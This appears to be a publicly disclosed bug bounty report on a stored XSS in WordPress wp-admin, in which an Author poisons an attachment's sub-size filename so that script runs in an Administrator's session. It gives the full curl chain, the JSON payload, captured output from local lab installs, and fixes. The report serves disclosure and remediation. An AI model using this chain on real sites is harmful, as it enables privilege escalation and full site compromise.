HexBrain

WordPress · Report #3931771

Author → stored XSS in wp-admin: unescaped sub-size filename from attachment metadata breaks out of the `src` attribute in `get_media_item()`

Validstatus
criticalseverity
32upvotes
28 Aug 2026disclosed

How it was found

Description:

finalize_item() stores the attacker-supplied sub_sizes[].file string verbatim into _wp_attachment_metadata['sizes'][<name>]['file'] — no sanitize_file_name(), no pattern, no sanitize_callback.

image_get_intermediate_size() string-concatenates that raw value into the image URL, and get_media_item() echoes the resulting URL into a single-quoted src attribute with no escaping whatsoever. A filename containing ' therefore closes the attribute and the <img> element and injects arbitrary markup into an administrator's wp-admin page.

get_media_items() renders every attachment in the library, so a single poisoned upload fires for every administrator who opens that screen — no targeting needed.

Root cause with real file:line and verbatim code

WRITE — unsanitized

wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:2920-2926 (trunk; Gutenberg equivalent at gutenberg/lib/media/class-gutenberg-rest-attachments-controller.php:838-845):

				$metadata['sizes'] = $metadata['sizes'] ?? array();

				$metadata['sizes'][ $image_size ] = array(
					'width'     => $sub_size['width'] ?? 0,
					'height'    => $sub_size['height'] ?? 0,
					'file'      => $sub_size['file'] ?? '',
					'mime-type' => $sub_size['mime_type'] ?? '',
					'filesize'  => $sub_size['filesize'] ?? 0,
				);

The schema for sub_sizes[].file is only array( 'type' => 'string' ). wp_update_attachment_metadata() stores it straight into post meta; no register_meta() sanitize callback and no core filter touches it.

Permission gate — edit_media_item_permissions_check() = current_user_can( 'upload_files' ) + update_item_permissions_check() (edit_post on the attachment). An Author satisfies both on its own upload.

PROPAGATION — raw concatenation into a URL

wp-includes/media.php:854-858 (image_get_intermediate_size()), released 7.0.2:

	// Include the full filesystem path of the intermediate file.
	if ( empty( $data['path'] ) && ! empty( $data['file'] ) && ! empty( $imagedata['file'] ) ) {
		$file_url     = wp_get_attachment_url( $post_id );
		$data['path'] = path_join( dirname( $imagedata['file'] ), $data['file'] );
		$data['url']  = path_join( dirname( $file_url ), $data['file'] );
	}

image_downsize() → wp_get_attachment_image_src() return that string untouched.

SINK — no escaping at all

wp-admin/includes/media.php:1602-1610 and :1716 (released 7.0.2; trunk :1717):

	$thumb_url     = false;
	$attachment_id = (int) $attachment_id;

	if ( $attachment_id ) {
		$thumb_url = wp_get_attachment_image_src( $attachment_id, 'thumbnail', true );

		if ( $thumb_url ) {
			$thumb_url = $thumb_url[0];
		}
	}
			<p><a href='$attachment_url' target='_blank'><img class='thumbnail' src='$thumb_url' alt='' /></a></p>

No esc_url(), no esc_attr(). Compare :3179, :3229 in the same file, which at least pass $thumb_url[0] through set_url_scheme().

REACHABLE PAGE

get_media_item() is called by get_media_items(), rendered by media_upload_library_form() for every attachment in the library, served by GET /wp-admin/media-upload.php?tab=library, gated only by current_user_can( 'upload_files' ) (wp-admin/media-upload.php:19) and with no nonce.

Scope note verified in the lab: the modern wp-admin/upload.php grid is not affected (the value is HTML-escaped there), and neither is post.php?post=<id>&action=edit. Only the legacy popup path is exploitable — I checked each of them explicitly rather than assuming.

Steps To Reproduce:

Two independent labs; identical steps.

  • Lab A — cp -a wordpress-develop/src (7.1-beta3-62828-src), DB trunk357, php -S 127.0.0.1:8357, base URL http://localhost:8357, no plugins active.
  • Lab B — clean WordPress 7.0.2 + Gutenberg 23.6.0 active, DB media356, php -S 127.0.0.1:8356, base URL http://localhost:8356.

Users admin (Administrator) and author1 (Author), separate cookie jars.

B=http://localhost:8357

# [0] the Author's own wp_rest nonce, read out of the Author's own dashboard.
#     (Application passwords are refused over plain HTTP on this lab, so the runs use the
#      ordinary login cookie + nonce -- exactly what the block editor sends.)
N=$(curl -s -b author.jar "$B/wp-admin/index.php" \
    | grep -oE 'createNonceMiddleware\( *"[a-f0-9]+"' | head -1 | grep -oE '[a-f0-9]{10}')

# [1] Author uploads a real JPEG (cookie + X-WP-Nonce, exactly what the editor uses)
curl -b author.jar -H "X-WP-Nonce: $N" \
     -H "Content-Disposition: attachment; filename=txss.jpg" -H "Content-Type: image/jpeg" \
     --data-binary @zap.jpg -X POST "$B/?rest_route=/wp/v2/media"            # 201, id=8

# [2] Author poisons the thumbnail sub-size filename
#     payload:  a.jpg' /><svg onload='document.title="XSS-EXECUTED-"+document.domain'></svg><b x='
curl -b author.jar -H "X-WP-Nonce: $N" -X POST -H "Content-Type: application/json" \
     --data-binary @xss.json "$B/?rest_route=/wp/v2/media/8/finalize"        # 200

# [3] Administrator (separate session) opens the legacy media popup
curl -b admin.jar "$B/wp-admin/media-upload.php?tab=library"                 # 200

xss.json:

{"sub_sizes":[{"image_size":"thumbnail",
  "file":"a.jpg' /><svg onload='document.title=\"XSS-EXECUTED-\"+document.domain'></svg><b x='",
  "width":150,"height":150,"mime_type":"image/jpeg","filesize":1}]}

Proof (real quoted output)

Stored verbatim and propagated into the URL (WP 7.0.2 + Gutenberg 23.6.0)

upload HTTP 201
XID=11
payload: a.jpg' /><svg onload='document.title="XSS-EXECUTED-"+document.domain'></svg><b x='
finalize HTTP 200
stored=a.jpg' /><svg onload='document.title="XSS-EXECUTED-"+document.domain'></svg><b x='
src=http://localhost:8356/wp-content/uploads/2026/07/a.jpg' /><svg onload='document.title="XSS-EXECUTED-"+document.domain'></svg><b x='

Injected DOM in the Administrator's HTTP response

GET /wp-admin/media-upload.php?tab=library, HTTP 200, admin cookie jar — copied verbatim from the response body (note the neighbouring, unpoisoned attachments render normally):

class='thumbnail' src='http://localhost:8356/wp-content/uploads/2026/07/a.jpg' /><svg onload='document.title="XSS-EXECUTED-"+document.domain'></svg><b x='' alt='' /></a></p>
class='thumbnail' src='http://localhost:8356/wp-content/uploads/2026/07/adminimg-150x150.jpg' alt='' /></a></p>
class='thumbnail' src='http://localhost:8356/wp-content/uploads/2026/07/neg-150x150.jpg' alt='' /></a></p>

A complete attribute break-out plus an injected element carrying an event handler.

Execution confirmed in a real browser, on the real admin URL, in the Administrator's session

Headless Chromium 145 (--headless=new), driven over CDP, with the Administrator's session cookies injected via Network.setCookie, navigated to http://localhost:8356/wp-admin/media-upload.php?tab=library:

TITLE: "XSS-EXECUTED-localhost"
SVGCOUNT: 1
HREF: "http://localhost:8356/wp-admin/media-upload.php?tab=library"
BODYLEN: 41558

document.title was rewritten by the injected onload handler, in the wp-admin origin, in an authenticated Administrator session. This is real execution on the genuine page — not a rendered fragment.

Reproduced on WordPress Core trunk with NO plugins (port 8357)

$ wp eval 'echo get_post_type_object("attachment")->rest_controller_class; echo "\nversion=".$GLOBALS["wp_version"];'
WP_REST_Attachments_Controller
version=7.1-beta3-62828-src

upload HTTP 201
XID=8
finalize HTTP 200
stored=a.jpg' /><svg onload='document.title="XSS-EXECUTED-"+document.domain'></svg><b x='
admin popup HTTP 200
class='thumbnail' src='http://localhost:8357/wp-content/uploads/2026/07/a.jpg' /><svg onload='document.title="XSS-EXECUTED-"+document.domain'></svg><b x='' alt='' /></a></p>

Headless Chromium against the trunk lab, Administrator cookies:

TITLE: "XSS-EXECUTED-localhost"
SVGCOUNT: 1
HREF: "http://localhost:8357/wp-admin/media-upload.php?tab=library"
BODYLEN: 23626

Negative controls (executed)

--- contributor -> finalize on author's attachment ---
{"code":"rest_cannot_edit_image","message":"Sorry, you are not allowed to upload media on this site.","data":{"status":403}}
HTTP 403

--- author -> finalize on ADMIN's attachment ---
{"code":"rest_cannot_edit","message":"Sorry, you are not allowed to edit this post.","data":{"status":403}}
HTTP 403

--- author unfiltered_html? ---
author1 unfiltered_html=false

Screens I checked that are NOT affected (so triage does not have to)

upload.php                        HTTP 200 -> escaped/absent
upload.php?mode=list              HTTP 200 -> value present but HTML-escaped:
    ...uploads/2026/07/a.jpg&#039; /&gt;&lt;svg onload=&#039;document.title=&quot;XSS-EXECUTED-...
post.php?post=11&action=edit      HTTP 200 -> escaped/absent

Only media-upload.php?tab=library (and the other get_media_items() callers, media_upload_gallery_form() / media_upload_type_form()) render the raw value.

Re-executed on a newer trunk revision (7.1-beta3-62852)

The trunk lab auto-updated itself through wp-cron from 7.1-beta3-62828-src to 7.1-beta3-62852 while it was running. Rather than pin the report to a revision the lab no longer has, I re-ran the whole chain on the newer one with the xss.json printed above:

$ wp eval 'echo $GLOBALS["wp_version"]."\n";'
7.1-beta3-62852

finalize HTTP 200
stored=a.jpg' /><svg onload='document.title="XSS-EXECUTED-"+document.domain'></svg><b x='
admin popup HTTP 200
class='thumbnail' src='http://localhost:8357/wp-content/uploads/2026/07/a.jpg' /><svg onload='document.title="XSS-EXECUTED-"+document.domain'></svg><b x='' alt='' /></a></p>

TITLE: "XSS-EXECUTED-localhost"
SVGCOUNT: 1
HREF: "http://localhost:8357/wp-admin/media-upload.php?tab=library"

Every line number cited in this report was re-derived against 62852 and is unchanged: the sink is wp-admin/includes/media.php:1717 on trunk (:1716 in released 7.0.2 — the one-line offset is between the two products, not between the two trunk revisions), the write is class-wp-rest-attachments-controller.php:2920-2926 with the file key at :2923, and finalize_item() starts at :2828.

Attacker privilege

Author — upload_files + edit_post on its own attachment. Verified in the lab:

author1 unfiltered_html=false
author1 upload_files=true
contrib1 upload_files=false

The Author has no unfiltered_html on a single site, so this is explicitly not the excluded "administrator/editor may post arbitrary JS" or "self-XSS requiring unfiltered_html" case.

Victim: any user with upload_files who opens the legacy media popup — in practice an Administrator. Confirmed: the payload executed in an authenticated Administrator session.

User interaction: Required. The Administrator must load /wp-admin/media-upload.php?tab=library — a plain GET with no nonce, gated only by current_user_can( 'upload_files' ). It is reachable from the legacy "Add Media" iframe flow (including with the in-scope Classic Editor plugin) and, because it is a nonce-less GET, from a lure link or an iframe pointed at the admin's own site.

Affected versions verified

StackAffectedVerified how
WordPress Core trunk, no plugins — 7.1-beta3-62828-src and 7.1-beta3-62852YESPayload stored + break-out in the admin response + execution in headless Chromium, port 8357, on both revisions
WordPress 7.0.2 + Gutenberg 23.6.0 (released)YESSame, port 8356
WordPress 7.0.2 without Gutenbergsink present, not reachable at Author levelno finalize route registered

Honest limits

I would rather state these than have you find them.

  • The post-exploitation step was not executed. I demonstrated arbitrary script execution in the wp-admin origin inside an authenticated Administrator session (document.title rewritten by the injected onload, quoted above). I did not go on to create an administrator or install a plugin from the payload; that is the standard, well-understood consequence of script execution in that origin, argued rather than demonstrated.
  • Only the legacy popup renders the raw value. The modern upload.php media grid, upload.php?mode=list and post.php?post=<id>&action=edit all escape it — I checked each explicitly and the results are quoted above rather than assumed. So the impact requires the Administrator to open media-upload.php?tab=library (or another get_media_items() caller). It is a nonce-less GET gated only by upload_files, and it is the screen the Classic Editor's "Add Media" flow uses, but it is not a screen every administrator opens every day. This is why the vector is UI:R.
  • The attacker must own the attachment. edit_media_item_permissions_check() is a real check and it works — the negative controls above show a Contributor refused (403 rest_cannot_edit_image) and an Author refused against the Administrator's attachment (403 rest_cannot_edit). No IDOR is claimed; the whole chain runs through an attachment the Author uploaded.
  • S:C is a judgement call. I claim it because the payload crosses from an Author's own content into the Administrator's authenticated wp-admin session — a different security authority. If you prefer S:U, the vector AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N computes to 7.3, still well above the program's 4.0 floor, and nothing in the report depends on which of the two you pick.
  • On core trunk the endpoint is gated by is_ssl() || 'localhost' === $host || …; my trunk lab is plain HTTP on Host: localhost:8357, i.e. the 'localhost' === $host arm. I have not demonstrated it on a non-localhost plain-HTTP trunk install and I do not claim it works there — the claim is that it is on by default for every HTTPS site. The released Gutenberg plugin has no such gate at all.
  • The <svg onload=…> payload is what I tested; I did not enumerate which other tags survive at that point in the markup, because one is enough to prove the attribute break-out.

Exclusions considered

  • "Users with administrator or editor privileges can post arbitrary JavaScript." This is the exclusion this report must clear, and it clears it. The attacker is an Author, and the role is evidenced in the proof output rather than asserted: author1 upload_files=true, author1 unfiltered_html=false, contrib1 upload_files=false. An Author on a single site holds no unfiltered_html, cannot publish raw HTML through any normal path, and the sink here is reached purely through an attachment-metadata field. The victim is the Administrator, so this is exactly the less-privileged → higher-privileged crossing the program pays for, and the opposite of the excluded case.
  • "Self-XSS (requires unfiltered_html)." Does not apply — see the capability dump above; the payload also fires in a different user's session (the Administrator's), which is quoted from a real browser run, not from the attacker's own page.
  • "Open API endpoints serving public data (including usernames and user IDs)." Does not apply. The write endpoint is authenticated and gated (upload_files + edit_post, both enforced — see the negative controls), it returns no site data, and the rendering sink is an authenticated wp-admin screen, not a public read route.
  • "Text injection." Does not apply. What is injected is not text in a page but a complete attribute and element break-out followed by script execution, measured with document.title in a real headless browser in the wp-admin origin.
  • "Denial of service" / "scanner output" — none claimed; every line quoted is hand-driven output from a local install.

Relationship to my other report

media-finalize-arbitrary-file-deletion.md uses the same write primitive (finalize_item() storing sub_sizes[].file verbatim) but is a different vulnerability with a different sink and a different fix: there the value flows into wp_delete_attachment_files() and the fix is in wp-includes/post.php. The sink in this report is a plain output-escaping bug in wp-admin/includes/media.php:1716 that pre-dates the new endpoint and should be fixed independently of it — which is why the two are filed separately rather than as one report with two impacts. Please triage them together if that is easier.

Recommendations

Two independent defects; both should be fixed.

  1. Escape the output — wp-admin/includes/media.php:1716 (trunk :1717):

    <p><a href='<?php echo esc_url( $attachment_url ); ?>' target='_blank'><img class='thumbnail' src='<?php echo esc_url( $thumb_url ); ?>' alt='' /></a></p>
    

    This escaping bug pre-dates the new endpoint and should be fixed independently of it.

  2. Reject non-basename filenames at the write — in wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:2828-2933 and gutenberg/lib/media/class-gutenberg-rest-attachments-controller.php:749-845, require every sub_sizes[].file / original_image to satisfy $v === sanitize_file_name( wp_basename( $v ) ), and add that as a validate_callback on the schema properties. Also add the image_size enum validate_callback that sideload already has, so arbitrary size keys cannot be created.

  3. Consider hardening image_get_intermediate_size() (wp-includes/media.php:857) to wp_basename() $data['file'] before joining it into a URL, so stale poisoned metadata cannot produce a broken-out URL after the fix.

AI tooling disclosure

Per the program's guidelines and the WordPress AI Guidelines:

AI assistance: Yes — substantial. Tool(s): Claude (Anthropic), used through the Claude Code agentic harness. Used for: source review and candidate-vulnerability search; building and running the local test harnesses; and drafting this report — the prose here is largely AI-authored and subsequently reviewed and corrected by me. Verification: every technical claim was verified by executing it against a local installation. Every quoted output is real observed output, not model narration; claims that did not survive that verification were removed before submission. No production host was contacted. Responsibility: I have reviewed the report in full and take responsibility for its content.

Environment detail for re-running: two private, throwaway installs — a copy of wordpress-develop trunk on php -S 127.0.0.1:8357 (7.1-beta3-62828-src, later 7.1-beta3-62852) and released WordPress 7.0.2 with the released Gutenberg 23.6.0 plugin on php -S 127.0.0.1:8356. Every cited file:line was opened and read in the source shipped on those installs. The payload was stored over the REST API, the injected markup was captured from a genuine Administrator HTTP response, and execution was confirmed in headless Chromium (fresh --user-data-dir per run) on the real wp-admin URL with the Administrator's cookies injected before navigation. Negative controls and non-affected screens were checked explicitly. No production WordPress.org / WordCamp.org host or any third-party system was contacted at any point.

Prior art / duplicate check

Verdict: known sink class, novel and again-exploitable reachability — no matching public or disclosed report for the finalize path. Searched: HackerOne disclosed reports for attachment-filename XSS, WPScan, Patchstack, and the WordPress 7.0.3 fix list.

The output sink class is old: HackerOne #139245 ("WordPress core stored XSS via attachment file name") documents unescaped attachment filenames rendered by get_media_item() / get_media_items() and class-wp-media-list-table.php, historically created through XML-RPC wp.newPost() and mitigated by sanitize_file_name() on the upload path.

This report is a distinct instance:

  • the new REST finalize_item() write primitive stores sub_sizes[].file verbatim, with no sanitize_file_name() — so the historical sanitize-on-upload mitigation is simply not on this path;
  • the stored value then breaks out of the still-unescaped single-quoted src attribute at wp-admin/includes/media.php:1716 in released 7.0.2 — that output was never escaped;
  • it is not among the WordPress 7.0.3 (August 2026) fixes.

I found no public report of the finalize -> get_media_item() path.

HackerOne hacktivity cannot be enumerated without authentication, so an undisclosed duplicate cannot be ruled out with certainty.

Impact

An Author with no unfiltered_html capability stores JavaScript that executes in an Administrator's browser in the wp-admin origin the moment the admin opens the legacy media popup. Because media_upload_library_form() lists the entire library, one poisoned attachment hits every administrator who ever opens that screen. The screen is a nonce-less GET, so it can also be delivered by a lure link or an iframe.

From the wp-admin origin the payload can read admin nonces and silently create a new administrator (user-new.php), install a plugin, or edit theme files → full site compromise. This is cross-privilege stored XSS, Author → Administrator, which is exactly the class the program pays for.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original